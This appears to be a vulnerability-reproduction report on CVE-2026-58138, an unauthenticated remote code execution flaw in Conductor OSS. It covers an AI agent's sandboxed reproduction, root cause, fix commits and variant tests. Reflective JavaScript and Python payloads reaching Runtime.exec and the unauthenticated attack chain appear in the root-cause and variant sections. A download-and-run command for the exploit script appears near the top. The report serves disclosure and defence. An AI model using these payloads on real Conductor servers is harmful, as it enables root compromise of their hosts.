Skip to content

CVE-2026-58138: Verified Repro With Script Download

CVE-2026-58138: Orkes Conductor unauthenticated RCE via inline script evaluators

CVE-2026-58138 is verified against the affected target. Vulnerability class: RCE. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00236.

REPRO-2026-00236 RCE Variant found Jul 6, 2026 CVE entry ↗ .txt
Severity
CRITICAL
CVSS
9.8
Confidence
HIGH
Reproduced in
24m 53s
Tool calls
258
Spend
$3.95
01 · Overview

What Is CVE-2026-58138?

CVE-2026-58138 is a critical, unauthenticated remote code execution vulnerability (CWE-94) in Orkes Conductor OSS before 3.30.2. Inline workflow script expressions are evaluated inside an unsandboxed GraalVM context with full host access, and the Conductor REST API performs no authentication by default. Pruva reproduced it (reproduction REPRO-2026-00236).

02 · Severity & CVSS

CVE-2026-58138 Severity & CVSS Score

CVE-2026-58138 is rated critical severity, with a CVSS base score of 9.8 out of 10.

CRITICAL threat level
9.8 / 10 CVSS base
Weakness CWE-94 Improper Control of Generation of Code (Code Injection) — Improper Control of Generation of Code ('Code Injection')

Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.

How to Reproduce CVE-2026-58138

$ pruva-verify REPRO-2026-00236
or curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00236/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for CVE-2026-58138

Remote code execution — reproduced
  • reached the target end-to-end
  • full exploit chain demonstrated
  • on the real production code path
  • high confidence
  • the upstream fix blocks the same trigger
Trigger

unauthenticated workflow definition with an INLINE task whose JavaScript expression bootstraps Java reflection from the bound input object ($) to java.lang.Runtime and calls Runtime.exec(['sh','-c',CMD])

Attack chain
  1. POST /api/metadata/workflow (register malicious workflow, no auth) + POST /api/workflow/{name} (start, no auth)
  2. INLINE system task evaluates the JS expression in a GraalVM Context built with HostAccess.ALL
  3. reflective Runtime.exec
  4. command stdout returned in GET /api/workflow/{id}?includeTasks=true tasks[].outputData.result
Runnable proof: reproduction_steps.sh
Captured evidence: fixed containerfixed exploitvariant fixed container
Variants tested

Three alternate triggers (Python evaluator via INLINE, LAMBDA task, graaljs evaluator alias) for CVE-2026-58138's unauthenticated RCE via GraalVM script evaluators. All reproduce on vulnerable 3.22.3; all blocked on fixed 3.30.2. No bypass found. Java.type() bypass attempt also blocked on fixed version.

How the agent worked 589 events · 258 tool calls · 25 min
25 minDuration
258Tool calls
158Reasoning steps
589Events
Agent activity over 25 min
Support
13
Repro
304
Judge
24
Variant
244
0:0024:53

Root Cause and Exploit Chain for CVE-2026-58138

Versions: 3.21.21 … < 3.30.2 (confirmed on 3.22.3). The plain

CVE-2026-58138 is an unauthenticated remote code execution vulnerability in Orkes/Conductor-OSS (the community workflow orchestration engine) versions 3.21.21 through before 3.30.2. The INLINE system task (and the related LAMBDA, DO_WHILE, and SWITCH task types) evaluates a user-supplied JavaScript expression inside a GraalVM polyglot Context that is built with full host access (HostAccess.ALL) and, for the Python evaluator, allowAllAccess(true). Because the community Conductor REST API performs no authentication by default, any remote attacker who can reach the API can register a workflow definition whose INLINE task carries a malicious expression, start the workflow, and have the Conductor JVM execute arbitrary operating-system commands. This was reproduced end-to-end against the real conductoross/conductor:3.22.3 Docker image: an unauthenticated POST /api/metadata/workflow + POST /api/workflow/{name} caused Runtime.exec(["sh","-c",CMD]) to run as root inside the Conductor host, and the command's stdout was returned verbatim in the task's outputData.result.

  • Package/component affected: conductor-oss/conductorcore/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java (the GraalVM js evaluator context) and core/src/main/java/com/netflix/conductor/core/execution/evaluators/PythonEvaluator.java (the python evaluator context). Reachable through the INLINE workflow system task (com.netflix.conductor.core.execution.tasks.Inline) and LAMBDA/DO_WHILE/SWITCH which also evaluate script expressions.
  • Affected versions: 3.21.21 … < 3.30.2 (confirmed on 3.22.3). The plain allowHostAccess(HostAccess.ALL) configuration is present through ~3.29.x; 3.30.0/3.30.1 added a partial denyAccess(...) blocklist (reflection blocked but class loading still permitted); the complete fix lands in 3.30.2.
  • Risk level and consequences: Critical (CVSS 9.8, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). Full unauthenticated remote compromise of the orchestrator host: arbitrary command execution as the Conductor process user (root in the default Docker image), exposing the engine's persistence/queues, stored credentials, and every system its workflows touch.

Impact Parity

  • Disclosed/claimed maximum impact: Unauthenticated remote code execution (arbitrary OS command execution) — code_execution.
  • Reproduced impact from this run: Unauthenticated remote code execution as root — the attacker-supplied shell command (id; echo <marker>; hostname; cat /etc/os-release) executed inside the Conductor host and its stdout (uid=0(root)…, the unique marker, the hostname, and the OS release line) was returned through the unauthenticated API. A second, independent proof confirmed a marker file was written to the container filesystem.
  • Parity: full. The proof exercises the exact claimed surface (unauthenticated remote API → inline script → OS command execution) and demonstrates the claimed maximum impact (code execution as root).
  • Not demonstrated: Nothing — the reproduction reached the full claimed impact, not merely a crash or memory-safety symptom.

Root Cause

Conductor's INLINE task evaluates user-supplied script through ScriptEvaluator.eval(), which builds a GraalVM polyglot Context for the js language. In the vulnerable versions the context is created with no sandbox:

// core/.../events/ScriptEvaluator.java  (v3.22.3, createNewContext())
private static Context createNewContext() {
    return Context.newBuilder("js")
            .allowHostAccess(HostAccess.ALL)      // <-- every public Java method/field callable
            .option("engine.WarnInterpreterOnly", "false")
            .build();
}

HostAccess.ALL permits the script to call any public method or access any public field on every Java host object it can reach. The INLINE task binds its inputParameters map as the JavaScript global $ — a live Java object (jsBindings.putMember("$", input) in ScriptEvaluator.eval()). From $ the script bootstraps Java reflection without needing any Java.type/class-lookup permission, because everything is reached by calling public methods on host objects that HostAccess.ALL already exposes:

var k  = $.getClass().getClass();                 // java.lang.Class
var S  = k.getMethod('getName').getReturnType();  // java.lang.String class
var fN = k.getMethod('forName', S);               // Class.forName(String)
var RT = fN.invoke(null, ['java.lang.Runtime']);  // java.lang.Runtime
var rt = RT.getMethod('getRuntime').invoke(null, []);
// build String[]{'sh','-c',CMD} reflectively, then:
var p  = RT.getMethod('exec', strArr.getClass()).invoke(rt, [strArr]);
// read p.getInputStream() -> return stdout as the task result

The Python evaluator is analogous: Context.newBuilder("python").allowAllAccess(true).build().

The Conductor community REST API has no authentication by default, so the two calls that trigger evaluation — POST /api/metadata/workflow (register the malicious workflow) and POST /api/workflow/{name} (start it, which synchronously evaluates the INLINE task) — require no credentials. The task result (GET /api/workflow/{id}?includeTasks=truetasks[].outputData.result) carries the executed command's stdout back to the attacker.

Fix commits (release 3.30.2):

  • 87a7d96aabbb706d6e84f812b93da5165028d18f — replaces HostAccess.ALL with a builder that denyAccess(...) Class, ClassLoader, java.lang.reflect.*, Runtime, ProcessBuilder, Process, System, Thread, ThreadGroup; removes allowAllAccess(true) from PythonEvaluator.
  • c691e35e768caeb802c9f06ecdd9674c80081af1 — adds allowHostClassLoading(false), allowNativeAccess(false), allowCreateThread(false), allowCreateProcess(false), allowIO(IOAccess.NONE), allowEnvironmentAccess(EnvironmentAccess.NONE), and engine options js.load=false / js.print=false / js.console=false. Disabling host class loading is the binary discriminator that prevents the script from materializing the classes needed to reach Runtime.

Reproduction Steps

  1. Reference script: bundle/repro/reproduction_steps.sh (with helper bundle/repro/exploit.py).
  2. What the script does:
    • Pulls the real Docker images conductoross/conductor:3.22.3 (vulnerable) and conductoross/conductor:3.30.2 (fixed negative control).
    • Starts the vulnerable Conductor with Docker --network host, waits for the /health endpoint to return 200, and confirms the unauthenticated metadata API (GET /api/metadata/workflow → HTTP 200, no auth).
    • Runs exploit.py, which (with no authentication) registers a workflow whose INLINE task carries the reflective Runtime.exec JavaScript payload, starts it, and polls the task result. The payload also writes a unique marker file inside the container.
    • Asserts the vulnerable task is COMPLETED, the result contains live command output, and the marker file exists inside the container.
    • Stops the vulnerable container, starts the fixed 3.30.2 image the same way, and runs the identical payload — asserting it is now blocked (task_status=FAILED_WITH_TERMINAL_ERROR, no command output, no marker file).
    • Writes bundle/repro/runtime_manifest.json.
  3. Expected evidence of reproduction: logs/vuln_exploit.log / artifacts/vuln_exploit.json show task_status=COMPLETED and rce_confirmed=true with the command stdout (uid=0(root)…, the marker, hostname, OS release); artifacts/vuln_marker_check.txt shows the marker file present inside the vulnerable container. For the fixed build, artifacts/fixed_exploit.json shows task_status=FAILED_WITH_TERMINAL_ERROR, rce_confirmed=false, and artifacts/fixed_marker_check.txt shows the marker file absent. The script exits 0 only when both conditions hold.

Evidence

  • bundle/logs/reproduction_steps.log — full annotated run log.
  • bundle/logs/vuln_container.log — vulnerable Conductor boot log.
  • bundle/artifacts/vuln_health.json{"healthy":true} from the vulnerable instance.
  • bundle/artifacts/vuln_metadata_http.txtHTTP 200 (unauthenticated metadata API reachable).
  • bundle/artifacts/vuln_exploit.json — exploit result: register_status=200, start_status=200, workflow_status=COMPLETED, task_status=COMPLETED, rce_confirmed=true, and task_output_result containing:
    uid=0(root) gid=0(root) groups=0(root)
    PRUVA_RCE_CONFIRMED_<ts>
    <hostname>
    PRETTY_NAME="Debian GNU/Linux 13 (trixie)"
    
  • bundle/artifacts/vuln_marker_check.txtdocker exec proof that the marker file was written inside the vulnerable container.
  • bundle/logs/fixed_container.log, bundle/artifacts/fixed_exploit.json — fixed build: task_status=FAILED_WITH_TERMINAL_ERROR, workflow_status=FAILED, rce_confirmed=false, task_output_result=null.
  • bundle/artifacts/fixed_marker_check.txt — marker file absent in the fixed container (No such file or directory).
  • Environment: Docker --network host on host muramasa (Arch Linux kernel); sandbox reached the host-network conductor via the docker bridge gateway 172.20.0.1:8080; vulnerable image conductoross/conductor:3.22.3, fixed image conductoross/conductor:3.30.2.

Recommendations / Next Steps

  • Upgrade to Conductor ≥ 3.30.2 immediately. The js/python evaluators no longer run with host access / host class loading enabled.
  • Defense in depth: put authentication/authorization in front of the Conductor API (the community build is unauthenticated by default); run the server as a non-root, least-privilege user; restrict which principals can register/run workflows.
  • Detection: flag workflow definitions whose INLINE/LAMBDA/DO_WHILE/ SWITCH tasks contain expression strings referencing getClass, forName, Runtime, exec, ProcessBuilder, or java. reflection; alert on Conductor processes spawning shells.
  • Testing: add regression tests (as the fix did in InlineTest.java) that assert a reflection-based RCE expression yields FAILED_WITH_TERMINAL_ERROR for both javascript and graaljs evaluator types on every build.

Additional Notes

  • Idempotency: the script cleans up any leftover conductor-vuln-repro/conductor-fixed-repro containers at startup and stops/removes them after each phase, so it can be re-run cleanly. Each exploit uses a timestamped workflow name and marker, so repeated runs do not collide.
  • Networking: in the DinD sandbox, Docker bridge port publishing (-p) does not expose a reachable port to the sandbox container; the script therefore uses --network host and reaches the conductor via the sandbox's default gateway (detect_target_ip), falling back to 127.0.0.1 when the sandbox is the docker host itself.
  • Scope of the proof: the in-range version demonstrated (3.22.3) uses the plain HostAccess.ALL configuration; the 3.30.0/3.30.1 partial blocklist is not separately bypassed here — the negative control uses the complete fix (3.30.2) per the CVE's fixed version.

Variant Analysis & Alternative Triggers for CVE-2026-58138

Versions: 3.21.21 … < 3.30.2 (confirmed on 3.22.3 for all

No bypass of the fix was found. Three materially-different alternate triggers for the same root cause were confirmed on the vulnerable version (3.22.3) and all were blocked on the fixed version (3.30.2). The tested variants are: (A) Python evaluator via INLINE task — a separate GraalVM context builder (PythonEvaluator) with its own fix; (B) LAMBDA task — a deprecated task type that evaluates JavaScript via the same ScriptEvaluator sink but through a different task dispatch path; (C) graaljs evaluator via INLINE — an alias evaluator type that confirms the javascript/graaljs alias path reaches the same sink. A fourth variant (D) tested a Java.type() bypass attempt on the fixed version to verify that allowHostClassLoading(false) blocks host-class- lookup RCE — it was blocked. The fix in 3.30.2 (commits 87a7d96 + c691e35) is complete: all GraalVM context creation sites are patched, and the binary restrictions (allowHostClassLoading(false), allowCreateProcess(false), allowIO(IOAccess.NONE)) prevent RCE even if the host-access deny-list has gaps.

Fix Coverage / Assumptions

Invariant the fix relies on: All script evaluation in Conductor goes through exactly two GraalVM Context creation sites:

  1. ScriptEvaluator.createNewContext() — used by ALL JavaScript paths (javascript and graaljs evaluator types, LAMBDA, DO_WHILE, DECISION, event handler conditions, workflow validation).
  2. PythonEvaluator.evaluate() — used by the python evaluator type.

Code paths explicitly covered:

  • ScriptEvaluator.createNewContext(): patched with denyAccess(...) for Class, ClassLoader, reflection.*, Runtime, ProcessBuilder, Process, System, Thread, ThreadGroup + allowHostClassLoading(false), allowCreateProcess(false), allowIO(IOAccess.NONE), etc.
  • PythonEvaluator: allowAllAccess(true) removed, defaulting to GraalVM safe mode.

What the fix does NOT cover: No gaps found. Source analysis confirms only two Context.newBuilder(...) call sites exist in the codebase. All entry points funnel through these two sinks. The deny-list approach is backed by binary restrictions that prevent RCE even if non-denied classes are reachable.

Variant / Alternate Trigger

Three alternate triggers were tested, each reaching the same root cause from a materially different code path:

Variant A: Python evaluator via INLINE task
  • Entry point: POST /api/metadata/workflow (register) + POST /api/workflow/{name} (start), both unauthenticated.
  • Task type: INLINE with evaluatorType: "python".
  • Sink: PythonEvaluator.evaluate()Context.newBuilder("python").allowAllAccess(true).build().
  • Payload: GraalPython import java.lang.Runtime as Runtime; rt = Runtime.getRuntime(); proc = rt.exec(['sh', '-c', CMD]).
  • Why distinct: Separate GraalVM context builder from the JS path. The fix for this sink is different (removing allowAllAccess(true) vs the JS deny-list + binary restrictions).
Variant B: LAMBDA task (deprecated)
  • Entry point: Same unauthenticated API.
  • Task type: LAMBDA with scriptExpression input parameter.
  • Sink: Lambda.execute()ScriptEvaluator.eval("function scriptFun(){<expr>} scriptFun();", taskInput)createNewContext().
  • Payload: Reflective JS ($.getClass().getClass()Class.forNameRuntime.exec), with return o; for the function wrapper.
  • Why distinct: Different task type (LAMBDA vs INLINE), different expression wrapping (function wrapper vs bare expression), deprecated code path.
Variant C: graaljs evaluator via INLINE task
  • Entry point: Same unauthenticated API.
  • Task type: INLINE with evaluatorType: "graaljs".
  • Sink: GraalJSEvaluator.evaluate()ScriptEvaluator.eval()createNewContext().
  • Payload: Same reflective JS as the original repro.
  • Why distinct: Different evaluator type (graaljs vs javascript), confirms the alias path (GraalJSEvaluator delegates to ScriptEvaluator).
Variant D: Java.type() bypass attempt (fixed version only)
  • Entry point: Same unauthenticated API.

  • Task type: INLINE with evaluatorType: "javascript".

  • Payload: Java.type('java.lang.Runtime') instead of reflection from $.

  • Purpose: Test whether allowHostClassLoading(false) in the complete fix blocks host-class-lookup RCE.

  • Result: Blocked (FAILED_WITH_TERMINAL_ERROR).

  • Package/component affected: conductor-oss/conductorcore/.../events/ScriptEvaluator.java (JS evaluator) and core/.../execution/evaluators/PythonEvaluator.java (Python evaluator). Reachable through INLINE, LAMBDA, DO_WHILE, DECISION, SWITCH task types and event handler conditions via the unauthenticated REST API.

  • Affected versions: 3.21.21 … < 3.30.2 (confirmed on 3.22.3 for all variants). Fixed in 3.30.2.

  • Risk level: Critical — unauthenticated remote code execution as root.

Impact Parity

  • Disclosed/claimed maximum impact: Unauthenticated remote code execution (arbitrary OS command execution) — code_execution.
  • Reproduced impact from this variant run: All three variants (A/B/C) achieved full unauthenticated RCE as root on the vulnerable 3.22.3 image. The command output (uid=0(root)…, marker, hostname) was returned through the API, and a marker file was written inside the container filesystem.
  • Parity: full — each variant exercises the same unauthenticated remote API → script evaluation → OS command execution chain and demonstrates the full claimed impact.
  • Not demonstrated: Nothing — the variants reached the same full impact as the original repro.

Root Cause

The root cause is identical across all variants: GraalVM polyglot Context objects are created with full host access (HostAccess.ALL for JS, allowAllAccess(true) for Python), allowing user-supplied script expressions to bootstrap Java reflection (or use Java interop) to reach java.lang.Runtime.exec(). The unauthenticated Conductor REST API lets any remote attacker register and execute workflows containing these expressions.

Fix commits:

  • 87a7d96aabbb706d6e84f812b93da5165028d18f — partial fix (deny-list for JS, remove allowAllAccess for Python).
  • c691e35e768caeb802c9f06ecdd9674c80081af1 — complete fix (add allowHostClassLoading(false), allowCreateProcess(false), allowIO(IOAccess.NONE), js.load=false, shared Engine).

All entry points funnel through the two patched context builders, so the fix is complete and no bypass was found.

Reproduction Steps

  1. Reference script: bundle/vuln_variant/reproduction_steps.sh (with helper bundle/vuln_variant/variant_exploit.py).
  2. What the script does:
    • Pulls conductoross/conductor:3.22.3 (vulnerable) and conductoross/conductor:3.30.2 (fixed) Docker images.
    • Phase 1 (vulnerable): Starts 3.22.3 with --network host, waits for /health, then runs variants A (python), B (lambda), C (graaljs) — each an unauthenticated workflow registration + start with an RCE payload. Asserts task_status=COMPLETED, rce_confirmed=true, and marker file present inside the container.
    • Phase 2 (fixed): Starts 3.30.2 the same way, runs variants A, B, C, and D (Java.type() bypass). Asserts all are blocked (FAILED_WITH_TERMINAL_ERROR/FAILED, rce_confirmed=false, no marker file).
    • Writes artifacts/variant_summary.json and individual JSON results.
    • Exit 0 = bypass found (some variant reproduces on fixed); Exit 1 = no bypass.
  3. Expected evidence of reproduction:
    • Vulnerable: artifacts/vuln_variant_{A,B,C}.json show rce_confirmed=true, task_status=COMPLETED, and task_output_result containing uid=0(root)… + marker. artifacts/vuln_variant_marker_check.txt shows the marker file inside the container.
    • Fixed: artifacts/fixed_variant_{A,B,C,D}.json show rce_confirmed=false, task_status=FAILED_WITH_TERMINAL_ERROR or FAILED. artifacts/fixed_variant_marker_check.txt shows no marker file.

Evidence

  • bundle/logs/vuln_variant_steps.log — main run log showing all phases.
  • bundle/artifacts/vuln_variant_A.json — Python variant on vulnerable: rce_confirmed=true, output uid=0(root) gid=0(root) groups=0(root)\nPRUVA_VAR_RCE_<ts>\nmuramasa\n.
  • bundle/artifacts/vuln_variant_B.json — LAMBDA variant on vulnerable: rce_confirmed=true, same output.
  • bundle/artifacts/vuln_variant_C.json — graaljs variant on vulnerable: rce_confirmed=true, same output.
  • bundle/artifacts/vuln_variant_marker_check.txt — marker file confirmed inside vulnerable container.
  • bundle/artifacts/fixed_variant_A.json — Python variant on fixed: rce_confirmed=false, task_status=FAILED_WITH_TERMINAL_ERROR.
  • bundle/artifacts/fixed_variant_B.json — LAMBDA variant on fixed: rce_confirmed=false, task_status=FAILED.
  • bundle/artifacts/fixed_variant_C.json — graaljs variant on fixed: rce_confirmed=false, task_status=FAILED_WITH_TERMINAL_ERROR.
  • bundle/artifacts/fixed_variant_D.json — Java.type() bypass on fixed: rce_confirmed=false, task_status=FAILED_WITH_TERMINAL_ERROR.
  • bundle/artifacts/fixed_variant_marker_check.txt — no marker file in fixed container.
  • bundle/artifacts/variant_summary.json — structured summary.
  • bundle/logs/vuln_variant/fixed_version.txt — fixed version commit SHA.
  • Environment: Docker --network host; sandbox reached conductor via gateway 172.20.0.1:8080; vulnerable image conductoross/conductor:3.22.3 (commit c969d9b82d4f37e92dffe2fa85da026af32956b3), fixed image conductoross/conductor:3.30.2 (commit 2bea5078f916c0d529cd0f32a55f79425b65a5b8).

Recommendations / Next Steps

  1. No bypass found — the fix is complete. The 3.30.2 fix covers all GraalVM context creation sites and blocks RCE through all tested entry points (INLINE/javascript, INLINE/graaljs, INLINE/python, LAMBDA, Java.type() bypass).

  2. Defense-in-depth for the Python evaluator: The Python evaluator's fix relies on GraalVM's safe defaults (removing allowAllAccess(true)). For consistency with the JS evaluator, explicitly set allowHostClassLoading(false), allowCreateProcess(false), allowIO(IOAccess.NONE) on the Python context as well.

  3. Consider HostAccess.NONE for the JS evaluator: The current JS fix starts with HostAccess.ALL and applies a deny-list. Using HostAccess.NONE and explicitly allowing only data access on the bound $ input would be safer (allow-list vs deny-list).

  4. Authentication: The community Conductor API is unauthenticated by default. Deploy authentication/authorization in front of the API as defense-in-depth, regardless of the script sandbox.

  5. Regression tests: The fix added InlineTest.java regression tests. Extend these to cover the python evaluator type, the LAMBDA task type, and the graaljs evaluator type — all should assert FAILED_WITH_TERMINAL_ERROR for reflection-based and Java.type()-based RCE expressions on the fixed version.

Additional Notes

  • Idempotency: The script was run twice with identical results. Each run uses timestamped workflow names and markers, and cleans up containers at startup and after each phase.
  • Bounded search: Three meaningfully distinct variant candidates were tested (different evaluator sink, different task type, different evaluator alias) plus one bypass technique (Java.type()). Fewer than 3 additional candidates exist because all JS paths funnel through a single ScriptEvaluator.createNewContext(), and only two GraalVM context creation sites exist in the codebase. Other task types (DO_WHILE, DECISION, event handlers) reach the same sink and are covered by the same fix.
  • Networking: Docker --network host + gateway detection, same topology as the original repro.

CVE-2026-58138 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:000:58
0:00
session startedaccounts/fireworks/routers/glm-5p2-fast · CVE-2026-58138 · REPRO-20
0:03
0:04
web search
0:07
web search
0:10
0:27
0:37
0:37
extract_facts
no facts extracted
0:38
0:38
0:38
supportrepro
0:40
0:40
0:40
0:41
0:41
0:41
0:43
0:43
0:43
0:46
0:46
0:47
web search
0:52
0:52
$cd /tmp && curl -sL "https://github.com/conductor-oss/conductor/commit/87a7d96aabbb706d6e84f812b93da5165028d18f.patch" -o fix1.patch && wc -l fix1.patch && echo "=====FIX1 PATCH HEAD=====" && head -200 fix1.patch
0.3s
{"cwd":"/data/pruva/runs/78bac993-57aa-4d07-ae6a-e903103398fb","duration_ms":306,"exit_code":0,"stderr":"","stdout":"126 fix1.patch\n=====FIX1 PATCH HEAD=====\nFrom 87a7d96aabbb706d6e84f812b93da5165028d18f Mon Sep 17 00:00:00 2001\nFrom: Vasilii Pankov <c4lm@users.noreply.github.com>\nDate: Wed, 6 May 2026 00:23:17 +0400\nSubject: [PATCH] Deny access to some classes in js evaluator, deny host access\n in python evaluator (#1057)\n\nDeny access to some classes in js evaluator, deny host access in python evaluator\n---\n .../core/events/ScriptEvaluator.java          | 17 +++++-\n .../execution/evaluators/PythonEvaluator.java |  2 +-\n .../core/execution/tasks/InlineTest.java      | 53 +++++++++++++++++++\n 3 files changed, 70 insertions(+), 2 deletions(-)\n\ndiff --git a/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java b/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java\nindex 1a5feb7dad..ecec24cb9f 100644\n--- a/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java\n+++ b/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java\n@@ -114,8 +114,23 @@ private static void ensureInitialized() {\n     }… [truncated]
0:56
0:57
$cd /tmp && curl -sL "https://github.com/conductor-oss/conductor/commit/c691e35e768caeb802c9f06ecdd9674c80081af1.patch" -o fix2.patch && echo "=====FIX2 PATCH=====" && cat fix2.patch | head -120
0.3s
{"cwd":"/data/pruva/runs/78bac993-57aa-4d07-ae6a-e903103398fb","duration_ms":242,"exit_code":0,"stderr":"","stdout":"=====FIX2 PATCH=====\nFrom c691e35e768caeb802c9f06ecdd9674c80081af1 Mon Sep 17 00:00:00 2001\nFrom: Vasilii Pankov <c4lm@users.noreply.github.com>\nDate: Fri, 22 May 2026 22:09:13 +0400\nSubject: [PATCH] Restrict graaljs further (#1123)\n\n---\n .../core/events/ScriptEvaluator.java          | 25 +++++++++-\n .../core/execution/tasks/InlineTest.java      | 50 +++++++++++++++++++\n 2 files changed, 73 insertions(+), 2 deletions(-)\n\ndiff --git a/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java b/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java\nindex eff4abc5db..5bc9fcd888 100644\n--- a/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java\n+++ b/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java\n@@ -17,6 +17,7 @@\n import java.util.concurrent.*;\n \n import org.graalvm.polyglot.*;\n+import org.graalvm.polyglot.io.IOAccess;\n import org.slf4j.Logger;\n import org.slf4j.LoggerFactory;\n \n@@ -54,8 +55,19 @@ public class ScriptEvaluator {\n     private static final Engine ENGIN… [truncated]
0:58
08 · How to Fix

How to Fix CVE-2026-58138

Coming soon

Step-by-step mitigation and hardening guidance for CVE-2026-58138 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: CVE-2026-58138

How does the CVE-2026-58138 exploit work?

An unauthenticated attacker registers a workflow definition whose INLINE task carries a malicious expression, then starts it via POST /api/metadata/workflow and POST /api/workflow/{name}. Reproduced against the conductoross/conductor:3.22.3 Docker image, this caused Runtime.exec([\"sh\",\"-c\",CMD]) to run as root inside the Conductor host, with the command's stdout returned verbatim in the task's outputData.result.

Which Orkes Conductor versions are affected by CVE-2026-58138, and where is it fixed?

Conductor-OSS versions 3.21.21 through before 3.30.2 are affected; it is fixed in 3.30.2.

How severe is CVE-2026-58138?

Critical (CVSS 9.8 per the advisory) — unauthenticated remote code execution as root against a network-reachable Conductor API with no authentication by default.

How can I reproduce CVE-2026-58138?

Download the verified script from this page and run it in an isolated environment against the conductoross/conductor:3.22.3 Docker image. It sends an unauthenticated workflow definition containing a malicious INLINE task expression, starts the workflow, and shows the injected shell command's output returned in the task result as evidence of root-level code execution.
11 · References

References for CVE-2026-58138

Authoritative sources for CVE-2026-58138 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.